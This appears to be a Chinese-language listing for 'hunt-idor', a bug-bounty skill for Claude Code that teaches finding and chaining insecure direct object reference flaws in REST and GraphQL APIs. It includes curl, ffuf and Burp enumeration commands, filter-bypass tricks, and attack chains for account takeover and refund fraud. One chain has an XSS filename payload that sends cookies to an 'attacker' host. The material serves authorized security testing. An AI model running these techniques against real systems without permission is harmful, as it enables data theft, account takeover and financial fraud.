关于 hunt-idor
面向安全研究人员的 IDOR 漏洞测试技能,指导检查用户、组织及租户之间的对象访问控制。内容覆盖 REST 和 GraphQL 接口,并要求用双账户复现读写影响、记录具体差异。
主要功能
- 01梳理请求中的对象标识符
- 02用双账户测试跨用户访问
- 03覆盖 REST 与 GraphQL 操作
- 04检查读取、修改和删除权限
- 05验证跨组织与租户隔离
适用场景
- 01测试发票、消息等资源的访问控制
- 02检查跨组织 API 是否泄露数据
- 03验证修改或删除他人资源的权限
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-idor安装后在 Claude Code 中输入/hunt-idor确认已加载。
详细介绍
高价值目标
IDOR 为何收益丰厚:
- 无需绕过身份验证即可直接访问其他用户的数据——影响明确且可验证
- 易于与权限提升、金融欺诈和账户接管串联
- 几乎所有拥有用户专属资源的应用都会受到影响
价值最高的资产类型(按潜在奖金排序):
| 资产类型 | 价值所在 |
|---|---|
| 财务文档 / 账单 API | 暴露 PII + 财务数据(Shopify、Uber、PayPal) |
| 私有代码库 / 源代码 | 知识产权盗窃、关键数据丢失(GitHub) |
| 用户消息 / 私信 | 大规模侵犯隐私(Reddit) |
| 账户管理端点 | 添加用户、删除用户、权限提升(PayPal、Mozilla) |
| 企业 / 组织管理 | 跨租户权限提升、员工 PII(Uber) |
| 内容审核 / 管理操作 | 运营破坏(Reddit mod logs) |
IDOR 奖金最高的计划:
- 采用多租户模式的平台(SaaS、B2B 工具)
- 金融科技和支付处理商
- 拥有私密内容的社交平台
- 具有组织 / 代码库隔离机制的开发者工具
攻击面信号
明显存在 IDOR 的 URL 模式:
/api/v1/users/{id}/
/api/v*/orders/{order_id}
/invoices/download?id=
/reports/{uuid}/
/messages/{thread_id}
/admin/orgs/{org_id}/members
/migration/{migration_id}/files
/graphql (query params with IDs)
/api/business/{business_id}/
/vouchers/{voucher_id}/policy
响应头信号:
- 接受原始 ID 的端点使用
Content-Type: application/json - 缺少
X-Frame-Options,或存在 CORS 配置错误且同时带有 ID 参数 Authorization: Bearer令牌的作用域限定于用户,但访问的是组织级资源
JavaScript 源码模式:
// Look for hardcoded or interpolated IDs in JS
fetch(`/api/v1/users/${userId}/profile`)
axios.get('/invoices/' + invoiceId)
graphql query { billingDocument(id: $docId) }
// Redux/state stores exposing foreign IDs
state.currentUser.organizationId
技术栈信号:
- GraphQL 端点(基于查询的 IDOR 经常被遗漏)
- 使用连续整数 ID 的 REST API(最易受攻击)
- 可预测或在其他响应中泄露的 UUID
- 带有
org_id、account_id、business_id参数的多租户 SaaS 应用 - 移动应用(用 Burp 检查 APK——移动 API 经常跳过授权检查)
分步狩猎方法
-
映射应用中的所有对象引用
- 以用户 A 的身份验证,浏览每项功能
- 在 Burp Suite 中捕获所有请求
- 筛选包含以下内容的请求:
id=、_id=、uuid=、/v1/{noun}/{id},以及包含数值 / UUID 的查询参数
-
枚举 ID 类型
- 连续整数 → 枚举 ±1、±100
- UUID → 检查它们是否出现在其他响应或 JS 文件中
- 哈希 ID → 检查它们是否泄露在公共端点、元数据或 GraphQL 自省中
-
创建两个权限级别相同的独立账户
- 用户 A:资源所有者
- 用户 B:攻击者账户
- 以用户 A 的身份验证时,记录属于用户 A 的所有 ID
-
以用户 B 的身份重放用户 A 的资源 ID
- 将会话 Cookie / 令牌替换为用户 B 的凭据
- 发送引用用户 A 对象 ID 的相同请求
- 测试每个端点上的所有 HTTP 方法:GET、POST、PUT、PATCH、DELETE
-
测试跨租户 / 跨组织场景
- 在不同组织 / 企业中创建账户
- 测试组织 B 的会话能否引用组织 A 的 ID
- 特别留意管理 / 管理员端点
-
专门测试 GraphQL
- 运行自省:
{ __schema { queryType { fields { name } } } } - 对每个接受
id参数的查询 / 变更,替换为其他用户的 ID - 同时测试查询(读取)和变更(写入 / 删除)
- 运行自省:
-
测试写入 / 破坏性操作,而不仅是读取
- 用户 B 能否删除用户 A 的资源?
- 用户 B 能否修改用户 A 的内容?
- 用户 B 能否将自己添加到用户 A 的账户中?
-
串联多个 IDOR
- 使用一个 IDOR 泄露的数据(组织 ID、用户 ID)为下一个 IDOR 提供线索
- IDOR → ID 泄露 → 第二个 IDOR → 权限提升
-
测试状态变更边缘情况
- 已过期但仍可接受的令牌 / 邀请
- 针对资源 ID 的竞态条件
- 间接引用:
?sort=id或?filter[user_id]=
-
记录具体差异
- 确认用户 B 并无正当权限访问用户 A 的资源
- 截图 / 记录实际的 200 OK 与预期的 403/404
负载与检测模式
使用 curl 进行基本的 IDOR 测试(替换 cookie/token):
# Get User A's resource ID while authenticated as A
curl -s -H "Cookie: session=USER_A_SESSION" \
https://target.com/api/v1/invoices/12345
# Replay with User B's session
curl -s -H "Cookie: session=USER_B_SESSION" \
https://target.com/api/v1/invoices/12345
# Success = 200 OK with User A's data
GraphQL IDOR 测试:
curl -s -X POST https://target.com/graphql \
-H "Authorization: Bearer USER_B_TOKEN" \
-H "Content-Type: application/json" \
-d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'
使用 ffuf 枚举连续 ID:
ffuf -u "https://target.com/api/v1/orders/FUZZ" \
-w ids.txt \
-H "Authorization: Bearer USER_B_TOKEN" \
-mc 200 \
-o idor_results.json
生成连续 ID 字典:
# Generate IDs around a known value
known_id = 48291
with open("ids.txt", "w") as f:
for i in range(known_id - 500, known_id + 500):
f.write(str(i) + "\n")
用于 IDOR 扫描的 Burp Intruder 负载:
GET /api/messages/§12345§ HTTP/1.1
Host: target.com
Authorization: Bearer USER_B_TOKEN
# Mark §12345§ as injection point
# Use numeric sequential payload: 12000-13000
# Filter responses by length difference or status 200
使用 JavaScript 抓取泄露的 ID:
# Find IDs in JS bundles
curl -s https://target.com/static/app.js | grep -Eo '"id":"[a-f0-9-]{36}"' | sort -u
# Find object references in API responses
curl -s -H "Cookie: session=USER_A" \
https://target.com/api/v1/dashboard | python3 -m json.tool | grep -i "_id"
源码审查的 Grep 模式:
# Missing authorization checks in common frameworks
grep -r "findById\|findOne\|getById" --include="*.js" .
grep -r "params\[:id\]\|params\['id'\]" --include="*.rb" .
grep -r "request\.args\.get\('id'\)" --include="*.py" .
# Look for direct ORM queries without user scoping
grep -r "Model\.find(params" --include="*.js" .
# vs secure pattern: Model.find({ id: params.id, userId: req.user.id })
通过篡改 HTTP 方法进行 IDOR 测试:
# Try undocumented methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
echo "=== $method ==="
curl -s -X $method \
-H "Authorization: Bearer USER_B_TOKEN" \
https://target.com/api/v1/users/USER_A_ID/profile
done
常见根本原因
-
ORM 查询中缺少所有权检查
// VULNERABLE: fetches any record const invoice = await Invoice.findById(req.params.id); // SECURE: scopes to authenticated user const invoice = await Invoice.findOne({ _id: req.params.id, userId: req.user.id }); -
仅在路由级别进行授权,而非对象级别
- 开发者会检查“用户是否已登录?”,但不会检查“该用户是否拥有此对象?”
- 中间件会确认身份验证;各个处理程序则跳过所有权验证
-
信任客户端在请求正文中提供的 ID
- 移动应用或 SPA 会在 POST 正文中发送
org_id;服务器直接使用该值,而不验证调用方是否属于该组织
- 移动应用或 SPA 会在 POST 正文中发送
-
GraphQL 解析器未进行字段级授权
- 查询解析器会按 ID 从数据库获取数据,却不检查请求用户是否有权限
- 尤其常见于根据架构自动生成解析器的情况
-
不同 HTTP 方法的授权不一致
- GET 端点受到保护;同一路径下资源对应的 POST/DELETE 端点却没有保护
- 在由不同开发者逐步构建的 API 中很常见
-
通过相关对象暴露间接引用
- 对象 A(可访问)包含对象 B 的引用(B 本应是私有的)
- 开发者只保护对 B 的直接访问,却没有保护通过 A 进行的间接访问
-
竞争条件和基于状态的 IDOR
- 仅在创建时检查授权,而不在访问时检查
- 授予权限被撤销后,邀请/令牌仍然有效
-
多租户隔离失效
- 开发者实现了按用户的访问控制,却忘记了跨组织边界
- 存在
user_id检查;缺少org_id/tenant_id检查
绕过技术
防御:使用 UUID 替代连续整数
- 绕过方式:UUID 常会在其他 API 响应、通知邮件、webhook、GraphQL 查询或 JS 源码中泄露
- 技术:从可访问的端点收集 UUID,再对受限端点重放请求
防御:使用间接/哈希对象引用
- 绕过方式:解码哈希(通常是 base64 或简单混淆),或在其他响应中查找原始 ID
- 技术:
echo "dXNlcl8xMjM0NQ==" | base64 -d→user_12345
防御:为每个资源使用短时令牌
- 绕过方式:如果服务器只验证令牌格式而不验证绑定关系,令牌有时可被不同用户重复使用
- 技术:使用自己的令牌访问另一用户的资源 ID
防御:对枚举进行速率限制
- 绕过方式:放慢枚举速度(1 req/5s)、使用分布式 IP,或利用非枚举型 IDOR(你已从其他泄露信息中知道目标 ID)
防御:在 WHERE 子句中检查 user_id
- 绕过方式:检查同一端点是否存在于其他 API 版本中(
/v1/与/v2/)——授权逻辑通常因版本而异 - 技术:检查 JS 包中是否调用了较旧的 API 版本
防御:CORS 限制
- 绕过方式:IDOR 无需跨域利用——你可以直接使用自己的会话测试 API 端点
防御:通过服务器端会话使用“不透明”引用
- 绕过方式:查找任何会返回内部 ID 的端点,然后在其他地方使用该 ID;API 常会在
Location标头、错误消息或元数据中暴露 ID
防御:对常见模式进行参数过滤/WAF 防护
- 绕过方式:尝试嵌套 JSON
{"data": {"id": "VICTIM_ID"}}、HTTP 参数污染?id=own_id&id=victim_id,或不同的参数名称user_id、userId、uid、account
Gate 0 验证
撰写报告前,请回答以下三个问题:
-
攻击者现在能做什么? 具体说明:“拥有有效账户的攻击者可以向
/api/v1/invoices/{victim_invoice_id}发送 GET 请求,并收到受害者的完整账单文件,包括姓名、地址和付款金额——且与该账户毫无关联。” -
受害者会失去什么? 对应 CIA 三要素:机密性(数据泄露)、完整性(数据被篡改)或可用性(数据被删除)。“受害者的私人财务记录机密性受损”或“受害者的内容被第三方删除”——含糊的回答不合格。
-
能否从零开始在 10 分钟内复现?
- 创建两个全新的账户 ✓
- 记录包含受害者 ID 的确切 HTTP 请求 ✓
- 收到显示受害者数据的 200 OK 响应(或确认状态已更改)✓
- 不依赖已有状态或特定时机 ✓
如果无法稳定复现演示,请勿提交报告。
真实影响示例
场景 1:金融数据泄露 + 跨账户账单欺诈(Uber 风格) 攻击者发现了两个相关的 IDOR:一个允许读取任意组织的代金券政策配置(暴露组织 ID、员工邮箱列表和付款方式),另一个允许使用泄露的 ID 修改代金券政策。将两者串联后,攻击者便能将费用转嫁到任意企业账户、跨组织泄露员工个人身份信息(PII),并接管邀请链接——而这一切都不需要超出普通用户账户的权限。影响:金融欺诈 + 整个 B2B 平台的大规模 PII 泄露。
场景 2:通过迁移端点上的 IDOR 读取私有仓库(GitHub 风格)
迁移功能允许用户向迁移任务上传文件。系统未验证 migration_id 参数是否属于已验证用户。攻击者创建自己的迁移任务,观察 ID 格式,然后替换为其他用户的私有迁移 ID,从而读取自己无权访问的私有仓库中的源代码文件。影响:彻底绕过私有知识产权的机密性保护。
场景 3:通过消息 IDOR 串联实现账户接管(Reddit 风格)
攻击者在消息 API 端点中替换 thread_id,访问其他用户的私人消息线程。响应中包含消息内容、元数据,以及——最关键的——通过内部消息发送的会话令牌或验证令牌。攻击者利用在消息中找到的令牌执行账户恢复步骤,将只读 IDOR 升级为完全接管账户。影响:大规模完全攻陷目标用户的账户。
链式利用与组合(资深狩猎)
单独的 IDOR 若仅能跨租户读取数据,通常只会获得低到中等奖励。真正有价值的是将 IDOR 与通常不允许跨租户操作的状态更改原语串联——把“我能看到受害者的数据”变成“我拥有受害者的账户”。以下六种链式组合是在现代漏洞赏金计划中收益最高的 IDOR 利用方式。
链 1 — /api/users/{id}/email 上的 IDOR + 缺少重新验证 → 密码重置 → ATO
- A. 确认电子邮件更改端点存在 IDOR——使用攻击者的会话发送请求
PUT /api/users/{victim_id}/email {"email":"attacker@evil"};服务器在未检查所有权的情况下更改受害者的邮箱。 - B. 对受害者账户发起密码重置流程——服务器将重置链接发送到新邮箱(攻击者的邮箱)。
- C. 打开重置链接,设置新密码,并以受害者身份登录。
- 影响: 悄无声息地接管账户——受害者不会收到邮箱更改通知,因为更改是通过 API 而非用户界面中的“更改邮箱”功能完成的;后者有自己的审计日志。
- 典型情况: 2018–2024 年间,许多 SaaS 漏洞赏金披露中都出现过这种经典 ATO 模式。交叉引用
hunt-ato路径 2(更改邮箱时无需重新验证)。
链 2 — 文件下载上的 IDOR + 文件名可控的 Content-Disposition → 通过下载触发反射型 XSS → 会话窃取
- A.
/api/files/{id}/download上存在 IDOR,只需提供 ID 即可获取任意用户的文件。 - B. 下载端点设置
Content-Disposition: attachment; filename="<user-supplied-filename>",但未对换行符或引号进行清理——攻击者上传文件,文件名为"; <script>fetch('https://attacker/x?c='+document.cookie)</script>; foo.txt。 - C. 受害者访问下载链接 → 浏览器在响应头上下文中将注入的脚本解释为 HTML → JS 在同源环境下运行 → 窃取 Cookie/令牌。
- 影响: 通过 IDOR + 文件名可控的响应头实现账户接管(ATO)——单独来看,这两个原语都不严重;组合起来才构成攻击链。
- 真实案例: 已披露的多个案例涉及 Office 365 SharePoint 下载端点、GitLab 附件下载和 SaaS 导出端点。与
hunt-xss链 1(响应头 XSS 类)组合。
链 3 — 通过 GraphQL node(id:) GID + Relay 关系遍历实现 IDOR → 跨租户大规模数据提取
- A. 目标使用带有 Relay 风格全局 ID 的 GraphQL(
gid://shopify/Customer/<n>或 Base64 编码的type:id模式)。 - B.
node(id:"<victim_gid>") { ... on Customer { email orders { totalPrice paymentMethods { cardLast4 } } } }——顶层node()解析器会验证请求者身份,但嵌套关系不会针对已解析的 Customer 重新检查所有权。 - C. 遍历 ID(解码 Base64 提取数字并递增),即可提取整个客户群体的电子邮件、订单总额和付款方式。
- 影响: 大规模提取跨租户个人身份信息(PII)/财务数据。一个漏洞即可访问整个数据库。
- 真实案例: Shopify Billing IDOR,H1 #2207248($5,000);HackerOne PolicyPageAssetGroup IDOR,H1 #1618347($25,000)。交叉引用
hunt-graphql已披露报告引用 #5 和 #2。
链 4 — /api/teams/{id}/members 上的 IDOR + 请求体中的批量赋值 → 在受害者团队中提升角色
- A. 标准水平越权 IDOR——
POST /api/teams/{victim_team_id}/members {"email":"attacker@evil"}可在未检查所有权的情况下将攻击者添加为普通成员。 - B. 请求体接受 API 未过滤的其他字段:
{"email":"attacker@evil", "role":"OWNER", "permissions":["*"]}——批量赋值会影响角色字段。 - C. 攻击者以 OWNER 身份加入受害者团队。现在可以完全管理受害者团队的资源,还能移除真正的所有者。
- 影响: 通过 IDOR + 批量赋值实现跨租户权限提升。这是 SaaS 团队管理 API 上效率最高的接管攻击链。
- 真实案例: Shopify 未公开的
fileCopymutation,H1 #981472(2020 年,$2,000);StripeUpdateAtlasApplicationPerson跨租户 mutation,H1 #1066203(2020 年)。交叉引用hunt-graphql已披露报告引用 #7 和 #8;与hunt-api-misconfig的批量赋值部分组合。
链 5 — 软删除 IDOR + 移除后令牌仍有效 → 持续跨租户访问
- A. 找到“移除成员”端点,该端点会将
active=false,但不会使会话/PAT 失效。 - B. 以即将被移除的用户身份登录;捕获会话 Cookie 或 PAT。
- C. 让组织管理员通过正常流程移除该用户。等待一段时间。使用捕获的令牌重新发起 API 调用——此时 IDOR 变成了时间型(根据策略表,该用户已无权限,但缓存的身份验证上下文仍能通过验证)。
- 影响: 离职后数周仍可跨租户访问;存在 GDPR/CCPA 违规风险;还可能被用于勒索。
- 真实案例: Shopify 已移除员工仍可持续访问的漏洞类型(2022 年)。交叉引用
hunt-misc链 1——根本原因相同,起始原语不同。
链 6 — 双重 IDOR(/users/{id}/orders → /orders/{order_id}/refund)→ 对受害商家造成经济损失
- A. 第一个 IDOR:
GET /api/users/{victim_id}/orders在未检查所有权的情况下返回受害者的订单列表,从而获得合法的order_id值。 - B. 第二个 IDOR:
POST /api/orders/{order_id}/refund在未检查请求者是否拥有该商家或订单的情况下发起退款。 - C. 对受害商家的每笔近期订单触发退款。资金从商家转到客户(该客户也由攻击者控制)。
- 影响: 受害商家遭受直接经济损失。可在平台的商家群体中大规模利用。
- 真实案例类型: 2019-2023 年披露的多个电子商务平台 IDOR 链。交叉参考
hunt-business-logic的链(通过状态机混淆造成经济损失)。
操作者层面的模式
确认 A 处存在读取型 IDOR 后,立即询问:是否有状态变更操作接受相同的 ID,并且也可能存在 IDOR? 这类链通常属于以下之一:(1) 在末端步骤进行密码重置/电子邮件更改 → ATO;(2) 退款/提现/转账 → 经济损失;(3) 角色更改/添加成员 → 权限提升。如果你的读取型 IDOR 无法与上述任一情况串联,那么你能获得的就只有单独发现该漏洞的收益。要同时寻找这两部分——第二部分通常更容易发现,因为它与第一部分具有相同的身份验证漏洞类型。
交叉参考:
hunt-ato— 链 1、5hunt-xss— 链 2hunt-graphql— 链 3、4hunt-misc— 链 5hunt-business-logic— 链 6
相关技能与链
hunt-auth-bypass— 对象级授权失败与路由级缺少身份验证,是典型的 IDOR 放大器。链式原语:ORM 查询中缺少req.user.id范围限定,加上旧版/v1/路由缺少中间件,导致未经身份验证的跨租户数据读取;只需直接替换 ID,即可在完全没有会话的情况下批量导出个人身份信息。hunt-ato— 个人资料编辑 IDOR 是从“读取他人数据”到“控制其账户”最直接的路径。链式原语:PATCH /api/users/{victim_uid}接受攻击者的会话和受害者 UID → 设置[email protected]→ 触发密码重置 → 重置链接发送给攻击者 → 无需知晓受害者凭据即可完全 ATO。hunt-graphql— 缺少字段级授权的 GraphQL 解析器默认存在 IDOR;内省会提供架构信息。链式原语:通过__schema内省 → 枚举所有接受id:参数的变更操作 → 在updateUser、deleteOrg、transferBilling变更操作中替换为受害者 ID → 通过一次内省查询大规模扩展 IDOR 攻击范围。security-arsenal— 查阅 IDOR 绕过表部分,获取 HTTP 参数污染载荷(?id=own&id=victim)、嵌套 JSON 包装({"data":{"id":"VICTIM"}})以及参数名称变体(uid/userId/user_id/account),适用于首次直接替换返回 403 的情况。triage-validation— 在认定返回 200、但实际上未泄露数据的 IDOR 为 Critical 之前,先运行严重性预检(Pre-Severity Gate)(例如返回空数组、字段已脱敏,或响应正文中为“access denied”但状态码为 200)。返回 200 但没有数据的 IDOR 是 H1/Bugcrowd 上最常见的 N/A 原因。